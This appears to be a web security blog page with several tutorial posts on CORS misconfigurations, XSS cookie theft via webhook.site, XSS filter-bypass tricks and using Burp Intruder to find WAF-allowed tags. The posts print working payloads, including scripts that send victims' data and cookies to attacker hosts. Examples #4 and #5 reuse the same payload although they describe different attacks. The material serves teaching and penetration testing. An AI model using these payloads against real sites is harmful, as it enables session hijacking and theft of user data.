WebApp 101

WebApps 101: Cross-Origin Resource Sharing (CORS)

Note: Majority of this content was taken from Portswigger Web Academy, but is not an exact copy/paste.

Table of Contents:

  1. Table of Contents:
  2. What is an “Origin”?
  3. What is a Same Origin Policy (SOP)?
  4. What is CORS?
    1. How Does CORS Provide Controlled Relaxation of SOP?
    2. How Do You handle Requests with Credentials?
  5. Vulnerabilities Arising From CORS Configuration Issues
    1. How Do We Hunt for this Type of Vulnerability?
  6. Examples
    1. Example #1: Server-generated ACAO header from client-specified Origin header
    2. Example #2: Errors parsing Origin headers
    3. Example #3: Whitelisted Null Origin Value
    4. Example #4: Exploiting XSS via CORS Trust Relationships
    5. Example #5: Breaking TLS with Poorly Configured CORS
  7. How to Prevent CORS-Based Attacks

What is an “Origin”?

The origin of a page is decided by three unique factors: hostname, protocol, and port number. For example:

  • http://test.com and https://test.com have different origins as the protocol is different.
  • Similarly http://one.test.com and http://two.test.com have different origins as the hostnames are different.
  • The origin property is also different for two services running on the same host with different port numbers e.g. http://test.com:8081 and http://test.com:8082 are considered to be different origins.

Here’s an example table taken from Mozilla with examples of origin comparisons with the URL http://store.company.com/dir/page.html:

URLOutcomeReason
http://store.company.com/dir2/other.htmlSame originOnly the path differs
http://store.company.com/dir/inner/another.htmlSame originOnly the path differs
https://store.company.com/page.htmlFailureDifferent protocol
http://store.company.com:81/dir/page.htmlFailureDifferent port (http:// is port 80 by default)
http://news.company.com/dir/page.htmlFailureDifferent host

What is a Same Origin Policy (SOP)?

Same Origin Policy (SOP) is a browser-level security control which dictates how a document or script served by one origin can interact with a resource from some other origin. When a browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request. This means that the response will be generated within the user’s session, and include any relevant data that is specific to the user. Without the same-origin policy, if you visited a malicious website, it would be able to read your emails from GMail, private messages from Facebook, etc.

Basically, it prevents scripts running under one origin to read data from another origin, but doesn’t actually prevent against cross-origin attacks such as cross-site request forgery (CSRF) because cross-domain requests and form submissions are still permitted. This means that if you are performing a CSRF attack on a vulnerable site which results in some server side state change (e.g. user creation, document deletion etc), the attack will be successful but you would not be able to read the response.


What is CORS?

Many websites interact with subdomains or third-party sites in a way that requires full cross-origin access. Because of this, we needed a way to be less restrictive on our same-origin policy and allow more flexiblity about what resources can be loaded, and what they can do. A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS).

How Does CORS Provide Controlled Relaxation of SOP?

Through the use of a collection of HTTP headers. Browsers permit access to responses to cross-origin requests based upon these header instructions.

The Access-Control-Allow-Origin header (ACAO) is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website’s origin and permits access to the response if they match.

How Do You handle Requests with Credentials?

By default, cross-origin resource requests will be passed without credentials, like cookies or authorization headers. However, the cross-domain server can permit reading of the response when credentials are passed using an additional header. If Access-Control-Allow-Credentials: true, Then the browser will permit the requesting website to read the response, because the Access-Control-Allow-Credentials response header is set to true. Otherwise, the browser will not allow access to the response.


Vulnerabilities Arising From CORS Configuration Issues

Many modern websites use CORS to allow access from subdomains and trusted third parties. Their implementation of CORS may contain mistakes or be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities.

How Do We Hunt for this Type of Vulnerability?

  1. Review the HTTP History of your requests and locate a page that returns sensitive data about your session. Review the response, and look for any indication of a CORS configuration based on the response headers. For example, if you see Access-Control-Allow-Credentials, this suggests that the request may support CORS.
  2. To test how lenient the policy is, send the request to Burp Repeater and add an example origin header: Origin: https://example.com.
  3. Review the response and see if the origin is reflected in the Access-Control-Allow-Origin header. If it is, you may be able to utilize the above mentioned script to exploit this. See example #1.
  4. If a domain like example.com doesn’t work, try adding null and review the response to see if the ACAO header returns null as an accepted value. See example #3.
  5. If neither of those are working, try adding a subdomain of the target itself. For example, if your target is example.com, try subdomain.example.com. In the event you’re able to find a XSS vulnerability on an allowed subdomain, you may be able to abuse CORS. See examples #4 and #5.

Examples

Example #1: Server-generated ACAO header from client-specified Origin header

Some applications need to provide access to a number of other domains. Maintaining a list of allowed domains requires ongoing effort, and any mistakes risk breaking functionality. So some applications take the easy route of effectively allowing access from any other domain.

One way to do this is by reading the Origin header from requests and including a response header stating that the requesting origin is allowed. For example, consider the following:

Request:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

These headers state that access is allowed from the requesting domain (malicious-website.com) and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and so will be processed in-session.

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access resources from the vulnerable domain. If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
    req.withCredentials = true;
    req.send();
    
    function reqListener() {
       location='//malicious-website.com/log?key='+this.responseText;
       // if the above doesn't work, try:  location='/log?key='+this.responseText;
    };
</script>

Example #2: Errors parsing Origin headers

Some applications that support access from multiple origins do so by using a whitelist of allowed origins. When a CORS request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin header so that access is granted. For example, consider the following:

Request:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

Response: The application checks the supplied origin against its list of allowed origins and, if it is on the list, reflects the origin as follows:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Mistakes often arise when implementing CORS origin whitelists. Some organizations decide to allow access from all their subdomains (including future subdomains not yet in existence). And some applications allow access from various other organizations’ domains including their subdomains. These rules are often implemented by matching URL prefixes or suffixes, or using regular expressions. Any mistakes in the implementation can lead to access being granted to unintended external domains.

For example, suppose an application grants access to all domains ending in:
normal-website.com

An attacker might be able to gain access by registering the domain:
hackersnormal-website.com

Alternatively, suppose an application grants access to all domains beginning with
normal-website.com

An attacker might be able to gain access using the domain:
normal-website.com.evil-user.net


Example #3: Whitelisted Null Origin Value

The specification for the Origin header supports the value null. Browsers might send the value null in the Origin header in various unusual situations:

  • Cross-origin redirects.
  • Requests from serialized data.
  • Request using the file: protocol.
  • Sandboxed cross-origin requests.

Some applications might whitelist the null origin to support local development of the application. For example, suppose an application receives the following cross-origin request:

Request:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

In this situation, an attacker can use various tricks to generate a cross-origin request containing the value null in the Origin header. This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request of the form:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Example #4: Exploiting XSS via CORS Trust Relationships

Even “correctly” configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Consider the following scenerio.

Request:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

In this case, an attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use that to retrieve the API key, using a URL like:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

An example of what this might look like is as follows:

<script>
    document.location="http://SUBDOMAIN.sensitive-vulnerable[.]com/?productId=VULNERABLE-XSS<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://sensitive-vulnerable[.]com',true); req.withCredentials = true;req.send();function reqListener() {location='https://ATTACKER[.]com/log?key='%2bthis.responseText; };%3c/script>"
</script>

Example #5: Breaking TLS with Poorly Configured CORS

Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For example:

Request:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

In this situation, an attacker who is in a position to intercept a victim user’s traffic can exploit the CORS configuration to compromise the victim’s interaction with the application. This attack involves the following steps:

  • The victim user makes any plain HTTP request.
  • The attacker injects a redirection to: http://trusted-subdomain.vulnerable-website.com
  • The victim’s browser follows the redirect.
  • The attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to: https://vulnerable-website.com
  • The victim’s browser makes the CORS request, including the origin: http://trusted-subdomain.vulnerable-website.com
  • The application allows the request because this is a whitelisted origin. The requested sensitive data is returned in the response.
  • The attacker’s spoofed page can read the sensitive data and transmit it to any domain under the attacker’s control.

This attack is effective even if the vulnerable website is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure.

An example of what this might look like is as follows:

<script>
    document.location="http://SUBDOMAIN.sensitive-vulnerable[.]com/?productId=VULNERABLE-XSS<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://sensitive-vulnerable[.]com',true); req.withCredentials = true;req.send();function reqListener() {location='https://ATTACKER[.]com/log?key='%2bthis.responseText; };%3c/script>"
</script>

How to Prevent CORS-Based Attacks

CORS vulnerabilities arise primarily as misconfigurations. Prevention is therefore a configuration problem.

Proper configuration of cross-origin requests. If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin header.

Only allow trusted sites. It may seem obvious but origins specified in the Access-Control-Allow-Origin header should only be sites that are trusted. In particular, dynamically reflecting origins from cross-origin requests without validation is readily exploitable and should be avoided.

Avoid whitelisting null. Avoid using the header Access-Control-Allow-Origin: null. Cross-origin resource calls from internal documents and sandboxed requests can specify the null origin. CORS headers should be properly defined in respect of trusted origins for private and public servers.

Avoid wildcards in internal networks. Avoid using wildcards in internal networks. Trusting network configuration alone to protect internal resources is not sufficient when internal browsers can access untrusted external domains.

CORS is not a substitute for server-side security policies. CORS defines browser behaviors and is never a replacement for server-side protection of sensitive data – an attacker can directly forge a request from any trusted origin. Therefore, web servers should continue to apply protections over sensitive data, such as authentication and session management, in addition to properly configured CORS.

WebApp 101

Using Cross Site Scripting (XSS) to Steal Cookies

Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More

Disclaimer: This video is intended for Cyber Security professionals and Students who are looking to help others stay safe online.

We can leverage the following website so that we do not need our own webserver. https://webhook.site/

With a webhook in hand, we’re ready to craft our payload. Our payload should look like this. We’ll want to make sure we replace the URL with our generated webhook address.

A simple test can first be created with this:

<img src="[URL]/test.jpg" /> http://[URL]/test.js
<script>
document.write('<img src="[URL]?c='+document.cookie+'" />');
</script>

Once the browser renders the JavaScript the <img tag should look like the following and send the cookies to our website:

<img src="[URL]?c=[COOKIE]"/>

Before sending the link to the victim, make sure you encode the + symbols by replacing them with %2b.

An example payload will look like the following:

http://vulnerable.webapp/index.php?name=<script>document.write('<img src="https://webhook.site/xxx-xxx-xxx/?c='%2bdocument.cookie%2b'" />');</script>


Mitigations

Check out my other posts that discuss how you can protect yourself from these type of attacks.

WebApp 101

Basic Cross Site Scripting (XSS) Bypass Techniques

In some cases, a bit of filtering is involved. The web developer may have added some regular expressions, to prevent simple XSS payloads from working. This post intends to serve as a list of simple bypass techniques to try when attempting to inject XSS payloads.


Tweaking the case of your script tags. Some filters are case sensitive and will not remove the script tag if there are uppercase characters.

Example: <sCript> alert('xss') </sCRIpt>


Placing Script tags within script tags. Some filters do not recursively look through the supplied input to recursively remove script tags.

Example: <sc<script>ript> alert('xss') </scri</script>pt>


Use non script tags, such as an image tag. Some filters do a great job at preventing the use of script tags, but we could use many other tags to deliver payloads.

Example: <img src='zzz.jpg' onerror= alert('xss') ></img>


Using JavaScript’s eval. In some cases, you may be able to insert a script tag, but you’re unable to use a keyword such as “alert”. You can leverage “eval” to concatenate your payload to achieve the same result.

Example: <script>eval("ale" + "rt('xss')")</script>
Note: You may need to replace the plus mark with %2b or it may get treated as a space.


Checking to see if you’re in a script tag already. Sometimes the user supplied input will be directly within a script tag and you won’t need to inject one. You may be able to just view the source code and start talking in Javascript to get malicious.

Example: hacker"; alert('xss'); var $a= "

The above passed input may feed into HTML code that would render as the following: <script> var $a = "hacker"; alert('xss'); var $a= ""; </script>


Hacking Tutorial, Pentesting, WebApp 101

Bypassing XSS Defenses Part 1: Finding Allowed Tags and Attributes

This post intends to serve as a guide for a common bypass technique when you’re up against a web application firewall (WAF). In the event that the WAF limits what tags and attributes are allowed to be passed, we can use BurpSuite’s Intruder functionality to learn which tags are allowed.

Table of Contents:

  • Setting the stage.
  • Identifying which tags are allowed.
  • Identifying which events are allowed.
  • Putting the pieces together.

Setting the stage.

In our example, we have a webapp with a vulnerable search field. To begin testing, we start out with a simple XSS payload that will display the session cookie of the user when it fails to load a bad image path.

<img src=1 onerror=alert(document.cookie)>

However, the webserver responds with an error stating we’re using a tag that isn’t allowed.


Identifying which tags are allowed.

If we’re going to exploit this webapp, we need to first find out what tags are allowed in the search field. To do this, we can leverage BurpSuite’s Intruder functionality to brute force the page with every possible JavaScript tag and see which one(s) respond with a success message.

Let’s spin up BurpSuite and capture a web request with a generic search term.

With our request captured, let’s send this off to Intruder.

To begin, lets Clear the default payload positions BurpSuite selected for us.

Now we will replace the search term with <> to open/close the script tags that we wish to send to the application. Place the cursor between the angle brackets and click Add § twice, to create a payload position. The value of the search term should now look like: <§§>

Now that we have the position set, we need to provide our list of payloads. Head over to PortSwigger’s XSS cheat sheet and click Copy tags to clipboard.

With a list of all tags copied to your clipboard, head back to Intruder and select the Payload tab. Then click Paste.

Everything should now be in place! Let’s click Start Attack and allow time for all of the requests to be made.

Once the attack finishes, we see that the Body tag returns a status code of 200. This indicates that the WAF allows this tag and perhaps we can use it for our exploitation process.


Identifying which events are allowed.

Now that we know we can use the body tag, we need to know which events we can use. We’ll repeat the same process we used above, but this time, we’ll Copy events to clipboard from the PortSwigger’s XSS cheat sheet.

Heading back to Intruder, we’ll start by adjusting our list of Payloads. Click Clear to remove the existing list.

Now we can Paste our list of events.

Let’s head over to the Positions tab and adjust our search term to <body%20=1>. Place your cursor before the equal sign and then click Add § twice to create the payload position. The value of the search term should now look like: <body%20§§=1>

This will cause BurpSuite to send requests to the search field that look like

/?search=<body onactivate=1>
/?search=<body onafterprint=1>
/?search=<body onafterscriptexecute=1>

I’m happy with that. We’ll Start Attack.

Observe the results, and notice that the only payload returning a 200 response is onresize.


Putting the pieces together.

So what do we know? Well, we know that we can use the body tag along with the onresize element. Armed with this knowledge, what would happen if we were to inject JavaScript code that displayed the users session cookie when the window is resized? Could we craft something that automatically resizes the window to trigger this for us?

As an attacker, lets spin up a malicious webpage that includes a reference to the vulnerable webapp within an iframe.

<iframe src="https://your-lab-id.web-security-academy.net/?search="><body onresize=alert(document.cookie)>" onload=this.style.width='100px'>

Let’s break down what we’re doing.

  1. We begin by inserting an iframe to our webpage that will display content from the vulnerable webapp.
  2. We then inject a search query that will generate an alert containing the victim’s session cookie when the element onresize is called within the body tag.
  3. We then force the iframe to resize itself to a width of 100px upon loading.
  4. When the victim browses to our malicious website, this iframe will be loaded in their browser, resized, and then the session cookie will be displayed back to them.

Now this is really just useful as a proof of concept, because this particular example doesn’t provide the attacker with the session cookie. The finished product would look something like this after including HTML encoding.

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E"onload=this.style.width='100px'>


The primary goal for this post was to showcase BurpSuite Intruder’s ability to bruteforce a webserver and identify the attack surface. I hope you found it useful!